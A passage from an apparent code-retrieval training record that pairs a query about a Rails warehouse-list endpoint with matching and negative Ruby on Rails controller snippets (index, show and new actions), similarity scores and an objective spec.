"def index\n\t@wishlist = Wishlist.all\n\t@client = Client.all\n\t#@product = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wishlists }\n end\n end",
"def index\n @email_lists = EmailList.all \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @email_lists }\n end\n end",
"def index\n @lists = List.all\n render json: @lists\n end",
"def list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}\", params)\n end",
"def show\n @list = current_project.lists.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list }\n end\n end",
"def index\n @howtolists = Howtolist.all\n # @howtolists = @product.howtolists.all\n\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @howtolists }\n # end\n end",
"def show\n @list = List.find(params[:list_id])\n @list_items = @list.list_items.find(params[:list_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list_item }\n end\n end",
"def index\n @lists = current_user.lists\n #@lists = List.all\n render json: @lists\n end",
"def index\n\t\tu = User.find_by(:id => session[:user_id]) \n\t\tif u \n\t\t\t@lists = u.lists.order('id asc')\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tformat.html do\n\t\t\t\trender 'index'\n\t\t\tend\n\t\t\tformat.json do\n\t\t\t\trender :json => @lists, :except => [:id, :user_id], :include => :locations\n\t\t\tend\n\t\tend\n\tend",
"def index\n @local_plans = LocalPlan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @local_plans }\n end\n end",
"def index\n @warehouses = Warehouse.paginate(:page => params[:page], :per_page => 100)\n end",
"def listex\n url = prefix + \"listex\"\n return response(url)\n end",
"def index\n\n # Set Filter defaults\n\n if params[ :my_lists ].nil? &&\n params[ :public_lists ].nil? then\n\n params[ :my_lists ] = true\n\n end\n\n if params[ :lang ].nil?\n\n params[ :lang ] = Hash[ Language.all.map { |l| [l.id.to_s, \"1\"] } ]\n\n end\n\n if params[ :sortBy ].nil?\n\n params[ :sortBy ] = 'name'\n params[ :dir ] = 'asc'\n\n end\n\n @lists = List.filter( params, current_user ).page( params[:page] || 1 )\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lists }\n end\n end",
"def path\n \"/{databaseId}/items/list/\"\n end",
"def index\n @wish_lists = WishList.all\n end",
"def list\n\t@hospitals = Hospital.paginate :page => params[:page], :per_page => 10\n\t\trespond_to do |format|\t\t\n\t\tformat.html \n\t\tformat.xml { render :xml => @hospitals }\t\t#Render to XML File\n\t\tend\n\tend",
"def index\n @wrestlers = Wrestler.all\n end",
"def index\n @playlists = Playlist.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @playlists.to_xml }\n end\n end",
"def index\n @wants = Want.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wants }\n end\n end",
"def remote_get_list\n @user = login_from_salt\n \n render :xml => @user.queue_xml \n end",
"def show\n render json: @wellist\n end",
"def stations_list\n @route.get_stations_list\n end",
"def index\n @list_items = ListItem.all\n end",
"def index\n @list_items = ListItem.all\n end",
"def show\n @warehouse_supplier = WarehouseSupplier.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @warehouse_supplier }\n end\n end",
"def show\n @order_list = OrderList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @order_list }\n end\n end",
"def index\n @league_items = LeagueItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @league_items }\n end\n end",
"def show\n @list = List.find(params[:id])\n respond_with(@list)\n end",
"def show\n\t\t@list = List.find_by(id: params[:id])\n\t\t@locations = Location.where(list_id: params[:id]).order('id asc')\n\t\tsession[:list_id]= params[:id]\n\n\t\trespond_to do |format|\n\t\t\tformat.html do\n\t\t\t\trender 'show'\n\t\t\tend\n\t\t\tformat.json do\n\t\t\t\trender :json => @list, :except => [:id, :user_id], :include => :locations\n\t\t\tend\n\t\tend\n\tend",
"def wish_list(options={})\n get('/wish_list', options)\n end",
"def index\n @lists = List.all\n @list = List.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lists }\n end\n end",
"def index\n @lookup_sets = LookupSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_sets }\n end\n end",
"def show\n @wish_list = WishList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list }\n end\n end",
"def new\n @show_set_list = show.show_set_lists.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @show_set_list }\n end\n end",
"def list(*args)\n fail \"Unacceptable HTTP Method #{request.env['REQUEST_METHOD']} for list\" unless request.get?\n {:action => 'list',\n :args => args}\n end",
"def set_wellist\n @wellist = Wellist.find(params[:id])\n end",
"def show\n hub = Hub.find(params[:id])\n respond_to do |format|\n format.json { render :json => hub.warehouses }\n end\n end",
"def index\n @product_lists = @product_lists.order(:id).search(params[:search], params[:page])\n end",
"def get_lists()\n lists = api_request(\"list\")\n return lists.split(\"\\n\")\n end",
"def index\n @purchase_lists = PurchaseList.all\n render json: @purchase_lists\n end",
"def index\n @lists = @user.lists\n end",
"def lists\n response = get 'lists'\n response.map{|item| Hashie::Mash.new(item)}\n end",
"def index\n @locations = Location.find(:all)\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @locations }\n end\n end",
"def index\n @demo_lists = DemoList.all\n end"
] |
[
"0.7143045",
"0.68311036",
"0.6796568",
"0.66165483",
"0.6465858",
"0.64015865",
"0.63735044",
"0.6365254",
"0.6299561",
"0.6297443",
"0.6289316",
"0.6277761",
"0.61959577",
"0.6194372",
"0.6188527",
"0.61832726",
"0.61490804",
"0.61489165",
"0.6148731",
"0.6147261",
"0.61342174",
"0.61162937",
"0.6105774",
"0.6102573",
"0.6090267",
"0.60720164",
"0.6071717",
"0.604354",
"0.60334474",
"0.60242486",
"0.60205203",
"0.60083497",
"0.6008284",
"0.60042715",
"0.60042715",
"0.60035074",
"0.59961694",
"0.5988742",
"0.5988531",
"0.5985462",
"0.59723794",
"0.5947492",
"0.5944715",
"0.59438735",
"0.5936317",
"0.5933715",
"0.5927944",
"0.5907964",
"0.5907964",
"0.5907964",
"0.5907964",
"0.589768",
"0.58890975",
"0.5880022",
"0.5872819",
"0.5867121",
"0.5850052",
"0.58462685",
"0.5837744",
"0.5833563",
"0.58318925",
"0.5825547",
"0.5821906",
"0.5816238",
"0.58096915",
"0.5807796",
"0.5800994",
"0.5798588",
"0.5796565",
"0.57866013",
"0.57829577",
"0.57792646",
"0.5767557",
"0.57602674",
"0.575969",
"0.5759026",
"0.57428205",
"0.57388437",
"0.5734095",
"0.5734095",
"0.57337564",
"0.5731122",
"0.5730407",
"0.5721095",
"0.57163435",
"0.57120234",
"0.5709834",
"0.57068926",
"0.5702973",
"0.5691107",
"0.5686828",
"0.56856364",
"0.56855214",
"0.5685461",
"0.5672081",
"0.56719047",
"0.56616366",
"0.5659113",
"0.5656558",
"0.5654738"
] |
0.78969884
|
0
|
GET /warehouse_lists/1 GET /warehouse_lists/1.xml
|
def show
@warehouse_list = WarehouseList.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @warehouse_list }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @warehouse_lists = get_warehouse_lists(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @warehouse_lists }\n end\n end",
"def index\n @list = List.find(params[:list_id])\n @list_items = @list.list_items.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @list_items }\n end\n end",
"def index\n @lists = List.find(:all)\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @lists }\n end\n end",
"def show\n @list = List.find(params[:list_id])\n @list_item = @list.list_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @list_item }\n end\n end",
"def get_list(list_id)\n rest(\"get\", \"lists/#{list_id}\")\n end",
"def index\n @product_lists = ProductList.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_lists }\n end\n end",
"def index\n @wish_lists = WishList.find(:all, :order => 'created_at DESC').paginate :per_page => 20, :page => params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wish_lists }\n end\n end",
"def show\n @list = List.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @list }\n end\n end",
"def index\n @thing_lists = ThingList.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @thing_lists }\n end\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def index\n @wishlist_items = WishlistItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wishlist_items }\n end\n end",
"def show\n\t\t@list = List.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml\t{ render :xml => @list }\n\t\tend\n\tend",
"def show\n @warehouse = Warehouse.find(params[:id])\n @stocks = Stock.where(:company_id => @company.id, :warehouse_id => params[:id]).page(params[:page]).per(20)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @warehouse }\n end\n end",
"def index\n @list = List.find(params[:list_id])\n @items = @list.items\n\n respond_with @items\n end",
"def index\n @file_list = UploadedFileList.find(params[:uploaded_file_list_id])\n @file_list_items = @file_list.file_list_items.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @file_list_items }\n end\n end",
"def list\n\t@storecunsumptions = Storecunsumption.paginate :page => params[:page], :per_page => 10\n\t\trespond_to do |format|\t\t\n\t\tformat.html \n\t\tformat.xml { render :xml => @storecunsumptions }\t\t#Render to XML File\n\t\tend\n\tend",
"def index\n @lsrs_cmp = LsrsCmp.order('WarehouseName')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lsrs_cmp }\n end\n end",
"def show\n @warehouse_supplier = WarehouseSupplier.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @warehouse_supplier }\n end\n end",
"def index\n @search = @company.warehouses.search(params[:search])\n @warehouses = @search.order(\"created_at DESC\").page(params[:page]).per(20)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @warehouses }\n end\n end",
"def index(list_name, site_path = '', fields = [])\n url = computed_web_api_url(site_path)\n url = \"#{url}lists/GetByTitle('#{odata_escape_single_quote(list_name)}')/items\"\n url += \"?$select=#{fields.join(\",\")}\" if fields\n\n process_url( uri_escape(url), fields )\n end",
"def index\n @runlists = Runlist.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @runlists }\n end\n end",
"def index\n @quote_lists = QuoteList.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @quote_lists }\n end\n end",
"def show\n @order_list = OrderList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @order_list }\n end\n end",
"def show\n @mylist = Mylist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mylist }\n end\n end",
"def show\n @wish_list = WishList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list }\n end\n end",
"def index\n @article_lists = ArticleList.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @article_lists }\n end\n end",
"def index\n @list_items = List.find(params[:list_id]).list_items\n\n render json: @list_items\n end",
"def show\n @list_record = ListRecord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @list_record }\n end\n end",
"def index\n if show\n show.default_set_lists\n @show_set_lists = show.show_set_lists.all\n @tour = show.tour\n else\n @show_set_lists = ShowSetList.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @show_set_lists }\n format.json { render :json => @show_set_lists }\n end\n end",
"def index\n @warehouses = Warehouse.all\n end",
"def show\n @list = List.find(params[:list_id])\n @list_items = @list.list_items.find(params[:list_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list_item }\n end\n end",
"def index\n @leks = Lek.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @leks }\n end\n end",
"def index\n @todo_lists = TodoList.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @todo_lists }\n end\n end",
"def show\n @thing_list = ThingList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @thing_list }\n end\n end",
"def new\n @show_set_list = show.show_set_lists.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @show_set_list }\n end\n end",
"def index\n @shopping_lists = ShoppingList.find_all_by_user_id(session[:user_id])\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @shopping_lists }\n end\n end",
"def list\n url = prefix + \"list\"\n return response(url)\n end",
"def index\n @email_lists = EmailList.all \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @email_lists }\n end\n end",
"def index\n @details = @listing.details.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @details }\n end\n end",
"def index\n @api_v1_shopping_lists = ShoppingList.all\n end",
"def index\n @list_items = @list.list_items\n end",
"def index\n @local_plans = LocalPlan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @local_plans }\n end\n end",
"def show\n @list = current_project.lists.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @list }\n end\n end",
"def get_list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/\", params)\n end",
"def show\n @list_str_wk = ListStrWk.find(params[:id])\n @cart_ef=find_cart_ef\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @list_str_wk }\n end\n end",
"def list\n get('/')\n end",
"def show\n @file_list = UploadedFileList.find(params[:uploaded_file_list_id])\n @file_list_item = @file_list.file_list_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @file_list_item }\n end\n end",
"def path\n \"/{databaseId}/items/list/\"\n end",
"def list\n\t\t@wards = Ward.paginate :page => params[:page], :per_page => 10\t#Paginatin of 10 Records\n\t\trespond_to do |format|\n\t \t\t format.html # list.html.erb\n\t \t\t\tformat.xml { render :xml => @wards }\t#Render to XML Files\n\t\tend\n\tend",
"def show\n @warehouse_control = WarehouseControl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @warehouse_control }\n end\n end",
"def index\n @lookup_sets = LookupSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_sets }\n end\n end",
"def show\n @list_view = ListView.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @list_view }\n end\n end",
"def show\n @list = List.find(params[:id])\n respond_with(@list)\n end",
"def show\n @listing = Listing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @listing }\n end\n end",
"def index\n @wants = Want.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wants }\n end\n end",
"def show\n @checklist = Checklist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @checklist }\n end\n end",
"def remote_get_list\n @user = login_from_salt\n \n render :xml => @user.queue_xml \n end",
"def show\n @product_list = ProductList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_list }\n end\n end",
"def index\n @playlists = Playlist.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @playlists.to_xml }\n end\n end",
"def index\n @client_warehouses = ClientWarehouse.paginate(:page => params[:offset], :per_page => 20)\n\n client_warehouses_hash()\n respond_to do |format|\n format.html\n format.json { render :json => @client_warehouses_hash }\n format.xml { render :xml => @client_warehouses_hash }\n end\n end",
"def index\n @league_items = LeagueItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @league_items }\n end\n end",
"def show\n @wrestler = Wrestler.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wrestler }\n end\n end",
"def index\n @lists = current_project.lists\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lists }\n end\n end",
"def show\n @mailee_list = Mailee::List.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mailee_list }\n end\n end",
"def show\n @seller_listing = SellerListing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @seller_listing }\n end\n end",
"def index\n\t@wishlist = Wishlist.all\n\t@client = Client.all\n\t#@product = Product.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wishlists }\n end\n end",
"def list\n url = prefix + \"list\"\n return response(url)\n end",
"def list_items_list(page_id = current_page_id, list_id = current_list_id)\n request \"page/#{page_id}/lists/#{list_id}/items/list\"\n end",
"def get_lists(options={})\n visibility = options[:visibility]\n list_type = options[:list_type]\n folder_id = options[:folder_id]\n include_all_lists = options[:include_all_lists]\n include_tags = options[:include_tags]\n\n raise ArgumentError, \"visibility option is required\" unless visibility\n raise ArgumentError, \"list_type option is required\" unless list_type\n\n request_body = ''\n xml = Builder::XmlMarkup.new(:target => request_body, :indent => 1)\n\n xml.instruct!\n xml.Envelope do\n xml.Body do\n xml.GetLists do\n xml.VISIBILITY visibility\n xml.LIST_TYPE list_type\n xml.FOLDER_ID folder_id if folder_id.present?\n xml.INCLUDE_ALL_LISTS 'true' if include_all_lists.present?\n xml.INCLUDE_TAGS 'true' if include_tags.present?\n end\n end\n end\n\n doc = send_xml_api_request(request_body)\n result_dom(doc)['LIST']\n end",
"def show\n @group_list = GroupList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group_list }\n end\n end",
"def get_list(user, list)\n get(\"/#{user}/lists/#{list}.json\")\n end",
"def index\n @locations = Location.find(:all)\n\n respond_to do |format|\n format.html \n format.xml { render :xml => @locations }\n end\n end",
"def set_wellist\n @wellist = Wellist.find(params[:id])\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @directories }\n end\n end",
"def index\n @warehouses = Warehouse.paginate(:page => params[:page], :per_page => 100)\n end",
"def show\n hub = Hub.find(params[:id])\n respond_to do |format|\n format.json { render :json => hub.warehouses }\n end\n end",
"def show\n @chore_list = ChoreList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chore_list }\n end\n end",
"def show\n\t\t@list = List.find_by(id: params[:id])\n\t\t@locations = Location.where(list_id: params[:id]).order('id asc')\n\t\tsession[:list_id]= params[:id]\n\n\t\trespond_to do |format|\n\t\t\tformat.html do\n\t\t\t\trender 'show'\n\t\t\tend\n\t\t\tformat.json do\n\t\t\t\trender :json => @list, :except => [:id, :user_id], :include => :locations\n\t\t\tend\n\t\tend\n\tend",
"def listex\n url = prefix + \"listex\"\n return response(url)\n end",
"def list\n Log.add_info(request, params.inspect)\n\n @tmpl_folder, @tmpl_workflows_folder = TemplatesHelper.get_tmpl_subfolder(TemplatesHelper::TMPL_WORKFLOWS)\n\n my_wf_folder = WorkflowsHelper.get_my_wf_folder(@login_user.id)\n\n sql = WorkflowsHelper.get_list_sql(@login_user.id, my_wf_folder.id)\n @workflows = Workflow.find_by_sql(sql)\n\n @received_wfs = Workflow.get_received_list(@login_user.id, 'id DESC')\n\n rescue => evar\n Log.add_error(request, evar)\n end",
"def show\n @quote_list = QuoteList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @quote_list }\n end\n end",
"def list\n\t@hospitals = Hospital.paginate :page => params[:page], :per_page => 10\n\t\trespond_to do |format|\t\t\n\t\tformat.html \n\t\tformat.xml { render :xml => @hospitals }\t\t#Render to XML File\n\t\tend\n\tend",
"def get_lists\n response = rest(\"get\", \"lists\")\n\n return response[\"lists\"]\n end",
"def index\n @storage_locations = StorageLocation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @storage_locations }\n end\n end",
"def index\n @lists = List.all\n\n end",
"def index\n @list_items = ListItem.all\n end",
"def index\n @list_items = ListItem.all\n end",
"def index\n @howtolists = Howtolist.all\n # @howtolists = @product.howtolists.all\n\n # respond_to do |format|\n # format.html # index.html.erb\n # format.json { render json: @howtolists }\n # end\n end",
"def index\n @quote_list = QuoteList.find(params[:quote_list_id])\n @quotes = @quote_list.quotes.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @quotes }\n end\n end",
"def new\n @warehouse = Warehouse.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @warehouse }\n end\n end",
"def show\n @whitelist = Whitelist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @whitelist }\n end\n end",
"def index\n @lists = List.all\n @list = List.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lists }\n end\n end",
"def index\n @lists = List.all\n end",
"def index\n @lists = List.all\n end",
"def index\n @lists = List.all\n end",
"def index\n @lists = List.all\n end",
"def show\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end",
"def list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/list\", params)\n end",
"def list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/list\", params)\n end",
"def find_list\n @list = List.find(params[:id])\n end"
] |
[
"0.78040993",
"0.6989726",
"0.67724437",
"0.6578505",
"0.6502015",
"0.64768416",
"0.6421959",
"0.64177686",
"0.6362747",
"0.63504845",
"0.6283207",
"0.626409",
"0.62463486",
"0.62199175",
"0.62149996",
"0.6178516",
"0.61613166",
"0.61356306",
"0.6131409",
"0.6109113",
"0.60827595",
"0.60587394",
"0.60497296",
"0.6048352",
"0.6037213",
"0.603331",
"0.60239536",
"0.6020842",
"0.6000469",
"0.599923",
"0.59853876",
"0.5967399",
"0.5953895",
"0.5952832",
"0.59483725",
"0.5932128",
"0.5911179",
"0.59109557",
"0.590828",
"0.5885177",
"0.5883921",
"0.58732474",
"0.584941",
"0.5847173",
"0.5845622",
"0.58363134",
"0.58360434",
"0.5833327",
"0.5831698",
"0.58292234",
"0.5812942",
"0.5807344",
"0.5800471",
"0.57931006",
"0.5789906",
"0.57879055",
"0.5785524",
"0.5782119",
"0.57787913",
"0.57754993",
"0.5765048",
"0.576241",
"0.57605827",
"0.5757424",
"0.5747793",
"0.5740255",
"0.5726181",
"0.5724899",
"0.57220733",
"0.5719324",
"0.5715277",
"0.57090527",
"0.56984043",
"0.5697137",
"0.5696152",
"0.5692886",
"0.56866837",
"0.5681871",
"0.5678903",
"0.56769097",
"0.5674569",
"0.5663005",
"0.566273",
"0.56615967",
"0.5649334",
"0.5644835",
"0.5644835",
"0.5643136",
"0.56431323",
"0.5642157",
"0.5640106",
"0.5640016",
"0.5637679",
"0.5637679",
"0.5637679",
"0.5637679",
"0.5635264",
"0.5632693",
"0.5632693",
"0.56271243"
] |
0.74691695
|
1
|
GET /warehouse_lists/new GET /warehouse_lists/new.xml
|
def new
@warehouse_list = WarehouseList.new
@customers = Customer.all(:order => "name")
@customer = Customer.new
@products = Product.all(:order => "name,spec")
3.times { @warehouse_list.warehouse_list_items.build }
respond_to do |format|
format.js
format.html # new.html.erb
format.xml { render :xml => @warehouse_list }
end
rescue ActiveRecord::RecordNotFound # Kicks in if related asset was not found.
respond_to_related_not_found(model, :js) if model
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n\t\t@list = List.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml\t{ render :xml => @list }\n\t\tend\n\tend",
"def new\n @thing_list = ThingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing_list }\n end\n end",
"def new\n @show_set_list = show.show_set_lists.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @show_set_list }\n end\n end",
"def new\n @warehouse = Warehouse.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @warehouse }\n end\n end",
"def new\n @list_record = ListRecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @list_record }\n end\n end",
"def new\n @fwlist = Fwlist.new\n \t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fwlist }\n end\n end",
"def new\n @wish_list = WishList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list }\n end\n end",
"def new\n @list = List.find(params[:list_id])\n @list_item = @list.list_items.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @list_item }\n end\n end",
"def new\n @mylist = Mylist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mylist }\n end\n end",
"def new\n @order_list = OrderList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @order_list }\n end\n end",
"def new\n @listing = Listing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @listing }\n end\n end",
"def new\n @list_view = ListView.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @list_view }\n end\n end",
"def new\n @whitelist = Whitelist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @whitelist }\n end\n end",
"def new\n @list = List.find(params[:list_id])\n @item = @list.items.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @list = @project.lists.new\n\n respond_to do |format|\n format.html { render layout: 'form' }# new.html.erb\n format.json { render json: @list }\n end\n end",
"def new\n @action_list = ActionList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @action_list }\n end\n end",
"def new\n @list = List.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @list }\n end\n end",
"def new\n @list = List.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @list }\n end\n end",
"def new\n @list = List.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @list }\n end\n end",
"def new\n @list_str_wk = ListStrWk.new\n @cart_ef=find_cart_ef\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @list_str_wk }\n end\n end",
"def new\n @warehouse_supplier = WarehouseSupplier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @warehouse_supplier }\n end\n end",
"def new\n set_seller_listing\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @seller_listing }\n end\n end",
"def new\n @product_list = ProductList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_list }\n end\n end",
"def new\n @page_title = \"Task List New\"\n @task_list = TaskList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_list }\n end\n end",
"def new\n @data_list = DataList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @data_list }\n end\n end",
"def new\n @list = List.find(params[:id])\n @todolist = @list.todolists.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @todolist }\n end\n end",
"def new\n @item = Item.new(:list_id => params[:list_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @item }\n end\n end",
"def new\n @wish_list_item = WishListItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end",
"def new\n @list = List.new\n\n @list.list_items.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @list }\n end\n end",
"def new\n @group_list = GroupList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group_list }\n end\n end",
"def new\n @todo_list = TodoList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @todo_list }\n end\n end",
"def new\n @list = current_user.lists.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @list }\n end\n end",
"def new\n @wordlist = Wordlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wordlist }\n end\n end",
"def new\n @shopping_list = ShoppingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @shopping_list }\n end\n end",
"def new\n @list_cat = ListCat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @list_cat }\n end\n end",
"def new\n return error_status(true, :cannot_create_listitem) unless (ListItem.can_be_created_by(@logged_user, @list))\n \n @list_item = @list.list_items.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @list_item }\n end\n end",
"def new\n @web_location = WebLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @web_location }\n end\n end",
"def new\n @listing_status = ListingStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @listing_status }\n end\n end",
"def new\n @list_of_value = Irm::ListOfValue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @list_of_value }\n end\n end",
"def create\n @mylist = Mylist.new(params[:mylist])\n\n respond_to do |format|\n if @mylist.save\n format.html { redirect_to(@mylist, :notice => 'Mylist was successfully created.') }\n format.xml { render :xml => @mylist, :status => :created, :location => @mylist }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mylist.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @draft_list = DraftList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @draft_list }\n end\n end",
